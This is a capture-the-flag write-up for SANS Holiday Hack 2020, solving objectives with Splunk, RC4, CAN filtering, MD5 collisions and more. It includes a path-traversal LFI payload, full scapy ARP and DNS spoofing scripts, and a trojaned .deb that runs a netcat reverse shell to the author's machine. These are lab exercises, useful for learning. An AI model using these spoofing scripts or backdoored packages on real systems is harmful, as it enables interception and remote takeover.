SANS Holiday Hack 2020 Write-Up

Objective 6

Answers:

1: 13

2: t1059.003-main t1059.003-win

  • Used query provided by Alice Bluebird

3: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography

  • grepped through offline copy of github repo

4: 2020-11-30T17:44:15Z

  • Splunk query used: index=attack OSTAP
  • Only 5 results from that query. Found the earliest and used that timestamp.

5: 3648

  • Splunk query used: index=t1123* *audio*
  • Researched the Github author and found relevant Windows Audio Drive repo. That led me to the audio keyword search.

6: quser

  • Splunk query used: index=* *bat*
    • Noticed that the startup batch files were being copied from a local clone of the atomic-red-team repo
  • Used some bash to find all batch files in the github repo:
    • for i in $(find . -name *.bat -type f); do tail -n 1 $i; done
    • Not much output, so I tried them all and quser worked.

7: 55FCEEBB21270D9249E86F4B9DC7AA60

  • Splunk query used: index=* sourcetype=bro* sourcetype!=bro:files:json serial
    • First result
Final Answer: The Lollipop Guild

After solving the Splunk challenges, some encrypted information was given in b64 form: 7FXjP1lyfKbyDK/MChyf36h7.

The key was given in the Splunk talk this year: Stay Frosty.

An RFC was hinted at that prevented the usage of the RC4 cipher. Thus, nudging that this encrypted bit was encrypted by RC4.

Now that we know the algorithm, key, and have the data, we can write some Python that can decrypt RC4 relatively easily:

import base64

data = base64.b64decode("7FXjP1lyfKbyDK/MChyf36h7")
key = "Stay Frosty"

S = range(256)
j = 0
out = []

#KSA Phase
for i in range(256):
    j = (j + S[i] + ord( key[i % len(key)] )) % 256
    S[i] , S[j] = S[j] , S[i]

#PRGA Phase
i = j = 0
for char in data:
    i = ( i + 1 ) % 256
    j = ( j + S[i] ) % 256
    S[i] , S[j] = S[j] , S[i]
    out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))

print ''.join(out)

That code prints The Lollipop Guild - the final answer.

Objective 7

This challenge involved filtering down all malicious CAN-D traffic, and only allowing the valid traffic.

My methodology for this challenge was to basically filter every message that was repeating, until nothing was happening over time. Those repeating CAN IDs were:

244#00000000000
080#00000000000
188#00000000000
019#00000000000
19B#000000F2057

After that was determined, I interacted with every function and noted what CAN IDs are returned when I do so. I made the following correlations:

02A#0000FF - stop engine
02A#00FF00 - start engine
19B#000000000000 - lock door
19B#00000F000000 - unlock door
080#00000x - during brake - the X corresponds to the 'amount' you are braking.
080#FFFFFD - during brake
080#FFFFF8 - during brake
080#FFFFF3 - during brake
080#FFFFFA - during brake
080#FFFFF0 - during brake
080#FFFFFD - during brake

The hints told us to investigate the brake and unlock door functions.

It looks like the 19B IDs are the messages involving doors. The only repeating ID starting with 19B was 19B#000000F2057, so it is safe to say that this message may be malicious.

With regards to the brakes - the 080#00000x message was the only message that actually corresponded to user input, so it seems valid. The rest of the brake messages may be able to be filtered down. We can use a wildcard to include anything containing FF that begins with 080.

Our final filters can look like:

19B#000000F2057
080#*FF*

And those filters successfully solved the challenge!

Objective 8

ANSWER: JackFrostWasHere

This challenge involved a web application that, most notably, allowed file uploads + viewing of that file.

Enumeration with dirb and Burp Suite revealed the /image and /upload API endpoints.

After an image was uploaded, it was assigned with a random ID (which could be determined by recording history with Burp) and made viewable from the image/ endpoint. I.e., https://tag-generator.kringlecastle.com/image?id=382a8af4-cf8e-4b4a-8a24-06a1ce82db43.png

As with all image upload web applications, a simple Local File Inclusion (LFI) test is in order. Knowing that the system environment variables are what we are after, I can craft a LFI payload that inspects the file /proc/self/environ, which contains all system env variables in a simple file.

I sent this payload the Burp Repeater:

GET /image?id=../../../../../../../proc/self/environ HTTP/1.1

And was returned the contents of the file! It displayed the GREETZ env variable, which had the value JackFrostWasHere.

Objective 9

ANSWER: Tanta Kringle

This challenge began by sniffing traffic and discovering repeated ARP requests. I sniffed traffic using tcpdump:

$ tcpdump -nni eth0

An ARP response script using scapy was provided, but it was missing pertient data. This data had to be determined by simple packet analysis of the ARP request, and seeing what machine was sending the request, and what MAC it wanted to resolve. My full working code is as follows:

#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid

# Our eth0 ip
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our eth0 mac address
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])

print(ipaddr)
print(macaddr)

def handle_arp_packets(packet):
    # if arp request, then we need to fill this out to send back our mac as the response
    if ARP in packet and packet[ARP].op == 1:
        ether_resp = Ether(dst="4c:24:57:ab:ed:84", type=0x806, src=macaddr)

        arp_response = ARP(pdst="10.6.6.35")
        arp_response.op = "is-at"
        arp_response.plen = 4
        arp_response.hwlen = 6
        arp_response.ptype = "IPv4"
        arp_response.hwtype = 0x1

        arp_response.hwsrc = macaddr
        arp_response.psrc = "10.6.6.53"
        arp_response.hwdst = "4c:24:57:ab:ed:84"
        arp_response.pdst = "10.6.6.35"

        response = ether_resp/arp_response

        sendp(response, iface="eth0")

def main():
    # We only want arp requests
    berkeley_packet_filter = "(arp[6:2] = 1)"
    # sniffing for one packet that will be sent to a function, while storing none
    sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1)

if __name__ == "__main__":
    main()

After you ran this script, you would see a DNS lookup query from the same requesting machine. Similarly to the ARP request, a script was provided but missing data. My final script is as follows:

#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid

# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = "10.6.6.53"

def handle_dns_request(packet):
    eth = Ether(src=packet[Ether].dst, dst=packet[Ether].src)   
    ip  = IP(dst=packet[IP].src, src=packet[IP].dst)
    udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)       
    dns = DNS(id=packet[DNS].id,qd=packet[DNS].qd,aa=1,qr=1,an=DNSRR(rrname=packet[DNSQR].qname, ttl=10, rdata=ipaddr)) 
    dns_response = eth / ip / udp / dns
    sendp(dns_response, iface="eth0")

def main():
    berkeley_packet_filter = " and ".join( [
        "udp dst port 53",                              # dns
        "udp[10] & 0x80 = 0",                           # dns request
        "dst host {}".format(ipaddr_we_arp_spoofed),    # destination ip we had spoofed (not our real ip)
        "ether dst host {}".format(macaddr)             # our macaddress since we spoofed the ip to our mac
    ] )

    # sniff the eth0 int without storing packets in memory and stopping after one dns request
    sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1)

if __name__ == "__main__":
    main()

After responding to both the ARP and DNS requests, you see a bunch of TCP traffic come in. Most of it is TLS negotiation, and some encrypted traffic after that negotiation. However, there is a single HTTP packet to port 80.

We can start a simplehttpserver using python in our ./debs directory to serve out some content. From the logs, we can see that the client is requesting a specific .deb in a specific path:

10.6.6.35 - - [17/Dec/2020 21:01:09] code 404, message File not found
10.6.6.35 - - [17/Dec/2020 21:01:09] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404 -

We can simply make the directory structure using mkdir and rename one of our .deb files to suriv_amd64.deb and it seems like the target machine will install it.

I used the netcat .deb file, but added a custom bind command into it:

nc -e /bin/sh <my_ip> 4444

Now, whenever that .deb is installed, that command will be executed also. I just need to start a netcat listener on my end:

nc -nllvp 4444

And a shell is obtained! From there, it is a simple inspection of the document sitting on / that states the answer:

Tanta Kringle

Objective 10

In order to obtain access to Santa’s office, I modified the app.js to send the success/transport to floor 3 message via AJAX whenever the reset button was clicked.

The modified code snippet is as follows:

const resetBtn = document.querySelector('.reset-btn');
resetBtn.addEventListener('click', () => {
  if (window.confirm('Are you sure you want to reset your configuration?')) {
    $.ajax({
    type: 'POST',
    url: POST_URL,
    dataType: 'json',
    contentType: 'application/json',
    data: JSON.stringify({
      targetFloor: '3',
      id: getParams.id,
    }),
    success: (res, status) => {
      if (res.hash) {
        __POST_RESULTS__({
          resourceId: getParams.id || '1111',
          hash: res.hash,
          action: 'goToFloor-3',
      });
    }
   }
 }); }
});

Objective 11a

ANSWER: 57066318f32f729d

This challenge involves predicting a nonce (random number) that is generated using Mersenne Twister (MT19937 specifically) - a cryptographically insecure method.

From the snowball game, we were able to use a similar method to solve the Impossible challenge. Basically, reading input from many outputs of the PRNG, analyzing it, and predicting upcoming integers using Python.

First, I needed to obtain an output of all the nonces within the blockchain to use as input data for an MT19937 predictor library.

To do this, I modified the provided naughty_nice.py script to include the following code that loops through the entire c2.blocks list and prints out the nonce attribute.

length = len(c2.blocks)

for i in range(length):
    print(c2.blocks[i].nonce)

I redirected this to a single file and had my nonce input.

./naughty_nice.py >> nonces

Now that I have my input, I can use the mt19937predictor library (from the snowball game) to predict the next integer. The only issue is, my standard use of the library before was only involving 32-bit integers. These nonces are 64-bit.

To resolve this issue, I had to do some deep-diving into the mt19937predictor library and found a method to force usage of 64-bit randomness instead of 32-bit. Below was my final python code:

#!/usr/bin/env python3

from mt19937predictor import *
import contextlib

predictor = MT19937Predictor()
f = open("nonces", "r")

nonces = [line for line in f.readlines()]

for n in nonces:
    predictor.setrandbits(int(n), 64)

with contextlib.suppress(BrokenPipeError):
    while True:
        print(hex(predictor.getrandbits(64)))

With this script I was able to predict the next 4 nonces using:

mehlj@mehlj-box:~/sansholidayhack2020/challenge11a/work/mersenne-twister-predictor$ ./convert.py | head -n 4
0xb744baba65ed6fce
0x1866abd00f13aed
0x844f6b07bd9403e4
0x57066318f32f729d

The last output is the answer:

0x57066318f32f729d

Objective 11b

ANSWER: fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb

The data that this blockchain actually stores is various file types, mainly PDF. My first goal is to find the block that Jack modified - and this block will probably contain a document that looks modified in Jack’s favor (niceness).

I started by modifying the naughty_nice.py script to loop through each block, loop through the doc_count, and dump each document.

for i in range(len(c2.blocks)):
    for x in range(c2.blocks[i].doc_count):
        c2.blocks[i].dump_doc(x)

This adapted code dumped all documents into my current directory. From here, I can grep through each of the PDFs to see if any of them contain information about Jack Frost:

mehlj@mehlj-box:~/sansholidayhack2020/challenge11b/work/temp$ find . -iname '*.pdf' -exec pdfgrep Jack {} +
./129459.pdf:“Jack Frost is the kindest, bravest, warmest, most wonderful being I’ve ever known in my life.”
./129459.pdf:“Jack Frost is the bravest, kindest, most wonderful, warmest being I’ve ever known in my life.”
./129459.pdf:“Jack Frost is the warmest, most wonderful, bravest, kindest being I’ve ever known in my life.”
./129459.pdf:“Jack Frost is the most wonderful, warmest, kindest, bravest being I’ve ever known in my life.”
./129459.pdf:With acclaim like this, coming from folks who really know goodness when they see it, Jack Frost
./129278.pdf:We were pleasantly surprised to see Jacklynn reading their child a bed-time story.
./128811.pdf:Jackalynn was observed using the hashtag, "#gymlife".
mehlj@mehlj-box:~/sansholidayhack2020/challenge11b/work/temp$ 

It looks like the 129459.pdf document praises Jack Frost’s niceness a little too much. We can investigate block 129459 a bit more now with some Python:

for i in range(len(c2.blocks)):
    if (c2.blocks[i].index == 129459):
        print(c2.blocks[i])
Chain Index: 129459
		Nonce: a9447e5771c704f4
		  PID: 0000000000012fd1
		  RID: 000000000000020f
       Document Count: 2
                Score: ffffffff (4294967295)
                 Sign: 1 (Nice)

The noteworthy thing here is that the score value is incredibly high, and must be what is giving Jack his increased niceness.

Since this block looks important (and potentially changed), we can export it to block.dat using the below Python:

for i in range(len(c2.blocks)):
    if (c2.blocks[i].index == 129459):
        c2.save_a_block(i)

Now, we can confirm that our block sha256 hash matches what was provided in our challenge:

mehlj@mehlj-box:~/sansholidayhack2020/challenge11b/work$ sha256sum block.dat 
58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f  block.dat

Taking a look at the hexdump of the PDF, we can see that Jack Frost left a message for Santa here: _Go_Away/Santa

00000000  25 50 44 46 2d 31 2e 33  0a 25 25 c1 ce c7 c5 21  |%PDF-1.3.%%....!|
00000010  0a 0a 31 20 30 20 6f 62  6a 0a 3c 3c 2f 54 79 70  |..1 0 obj.<</Typ|
00000020  65 2f 43 61 74 61 6c 6f  67 2f 5f 47 6f 5f 41 77  |e/Catalog/_Go_Aw|
00000030  61 79 2f 53 61 6e 74 61  2f 50 61 67 65 73 20 32  |ay/Santa/Pages 2|
00000040  20 30 20 52 20 20 20 20  20 20 30 f9 d9 bf 57 8e  | 0 R      0...W.|

This slide tells us the usage of a common PDF collision attack. We can use a hex editor to switch that 32 byte to 33 (for value of 3 decimal):

00000030  61 79 2f 53 61 6e 74 61  2f 50 61 67 65 73 20 33  |ay/Santa/Pages 3|

If we open our PDF now, it has the original intended content, stating that Jack is naughty and is not deserving of any nice points. However, our MD5 has changed since we altered the PDF. Now, how did Jack pull his change off while maintaining the same MD5 hash?

mehlj@mehlj-box:~/sansholidayhack2020/challenge11b/work$ md5sum 129459.pdf 129459_modified.pdf 
448ac151b73a6b6da84cccec3345089a  129459.pdf
f20943e1be935894cca63e19c1f75b40  129459_modified.pdf

A hint tells us that Jack may have used a Unicoll attack. Essentially, he modified an additional byte that is in a specific offset from the originally modified byte. Specifically, that Unicoll byte is the 10th byte of the next MD5 block. This Unicoll byte must be increased or decreased by 1, the opposite of whatever you did to the original byte. I.e., if you changed a byte 32 -> 31, then the Unicoll byte must be increased by 1: 5A -> 5B.

If each MD5 block is 64 bytes, then in a standard hex editor, each block is 4 rows.

Since our changed byte is in the last row of the first MD5 block, then we just need to drop one line in our hex editor. Then, in that line, find the 10th byte and decrease it by 1, since we increased our original byte by 1.

00000040  20 30 20 52 20 20 20 20  20 20 30 f9 d9 bf 57 8e  | 0 R      0...W.|

to:

00000040  20 30 20 52 20 20 20 20  20 19 30 f9 d9 bf 57 8e  | 0 R     .0...W.|

(note the 10th byte decrement)

Now that we know the general technique, we can apply this to the original block.dat (since that is what we need to modify for the objective). We can change the same bytes (albeit at different offsets) because the block.dat contains the PDF (and all its bytes) within it. After our x2 byte changes, our MD5 hashes should match the original, despite the fact that we have modified the contents of the internally stored PDF:

mehlj@mehlj-box:~/sansholidayhack2020/challenge11b/work$ md5sum block.dat block.bak.dat 
b10b4a6bd373b61f32f4fd3a0cdfbf84  block.dat
b10b4a6bd373b61f32f4fd3a0cdfbf84  block.bak.dat

We have performed a Unicoll attack! Now, from the hints, we can gather that there are an additional x2 bytes we need to change. And looking at the Jack-modified block, the other major thing changed (besides the PDF) was the Naughty/Nice byte (referred to as sign in the Python class).

So, our path forward is likely to change that Naughty/Nice byte and the corresponding Unicoll byte.

If we inspect the block, we can see that Nice==1 and from the source code, we can gather that Naughty==0.

mehlj@mehlj-box:~/sansholidayhack2020/challenge11b/work$ ./naughty_nice.py | grep -i Sign
               Sign: 1 (Nice)

Looks like we need to change a decimal value of 1 to 0. Problem is, there are a lot of 1/0 values in the entire block.

We can narrow it down a bit by ruling out any part of the PDF bytes (since we are done there). That leaves the header and footer.

In the header, we see some familiar bytes - the bytes of the 129459.bin:

mehlj@mehlj-box:~/sansholidayhack2020/challenge11b/work$ hexdump -C 129459.bin 
00000000  ea 46 53 40 30 3a 60 79  d3 df 27 62 be 68 46 7c  |.FS@0:`y..'b.hF||
00000010  27 f0 46 d3 a7 ff 4e 92  df e1 de f7 40 7f 2a 7b  |'.F...N.....@.*{|
00000020  73 e1 b7 59 b8 b9 19 45  1e 37 51 8d 22 d9 87 29  |s..Y...E.7Q."..)|
00000030  6f cb 0f 18 8d d6 03 88  bf 20 35 0f 2a 91 c2 9d  |o........ 5.*...|
00000040  03 48 61 4d c0 bc ee f2  bc ad d4 cc 3f 25 1b a8  |.HaM........?%..|
00000050  f9 fb af 17 1a 06 df 1e  1f d8 64 93 96 ab 86 f9  |..........d.....|
00000060  d5 11 8c c8 d8 20 4b 4f  fe 8d 8f 09              |..... KO....|
0000006c
00000040  32 66 66 66 66 66 66 66  66 31 66 66 30 30 30 30  |2ffffffff1ff0000|
00000050  30 30 36 63 ea 46 53 40  30 3a 60 79 d3 df 27 62  |006c.FS@0:`y..'b|
00000060  be 68 46 7c 27 f0 46 d3  a7 ff 4e 92 df e1 de f7  |.hF|'.F...N.....|
00000070  40 7f 2a 7b 73 e1 b7 59  b8 b9 19 45 1e 37 51 8d  |@.*{s..Y...E.7Q.|
00000080  22 d9 87 29 6f cb 0f 18  8d d6 03 88 bf 20 35 0f  |"..)o........ 5.|
00000090  2a 91 c2 9d 03 48 61 4d  c0 bc ee f2 bc ad d4 cc  |*....HaM........|
000000a0  3f 25 1b a8 f9 fb af 17  1a 06 df 1e 1f d8 64 93  |?%............d.|
000000b0  96 ab 86 f9 d5 11 8c c8  d8 20 4b 4f fe 8d 8f 09  |......... KO....|
000000c0  30 35 30 30 30 30 39 66  35 37 25 50 44 46 2d 31  |0500009f57%PDF-1|
000000d0  2e 33 0a 25 25 c1 ce c7  c5 21 0a 0a 31 20 30 20  |.3.%%....!..1 0 |

Jack may have used this to line up byte sizes/offsets for his attack. Since we can safely ignore this, we can look at the rest of the header:

00000000  30 30 30 30 30 30 30 30  30 30 30 31 66 39 62 33  |000000000001f9b3|
00000010  61 39 34 34 37 65 35 37  37 31 63 37 30 34 66 34  |a9447e5771c704f4|
00000020  30 30 30 30 30 30 30 30  30 30 30 31 32 66 64 31  |0000000000012fd1|
00000030  30 30 30 30 30 30 30 30  30 30 30 30 30 32 30 66  |000000000000020f|
00000040  32 66 66 66 66 66 66 66  66 31 66 66 30 30 30 30  |2ffffffff1ff0000|
00000050  30 30 36 63 ea 46 53 40  30 3a 60 79 d3 df 27 62  |006c.

One byte sticks out there - the 31 surrounded by what appears to be ff padding. If we flip that byte to 30 (for a value of 0 decimal), and change the appropriate Unicoll byte using the same technique previously:

mehlj@mehlj-box:~/sansholidayhack2020/challenge11b/work$ md5sum block.dat block.bak.dat 
b10b4a6bd373b61f32f4fd3a0cdfbf84  block.dat
b10b4a6bd373b61f32f4fd3a0cdfbf84  block.bak.dat
mehlj@mehlj-box:~/sansholidayhack2020/challenge11b/work$ sha256sum block.dat block.bak.dat 
1adfc6bb0b81d0409b506b1544440b58096790dd272317780bec706f48e79b1e  block.dat
fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb  block.bak.dat

We can see that our MD5 hashes still match up, despite the changes! This must be how Jack performed his attack. This also shows that our SHA256 hashes our different, because SHA256 is cryptographically secure.

And the SHA256 hash of our modified block is our answer:

fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb
Written on March 22, 2022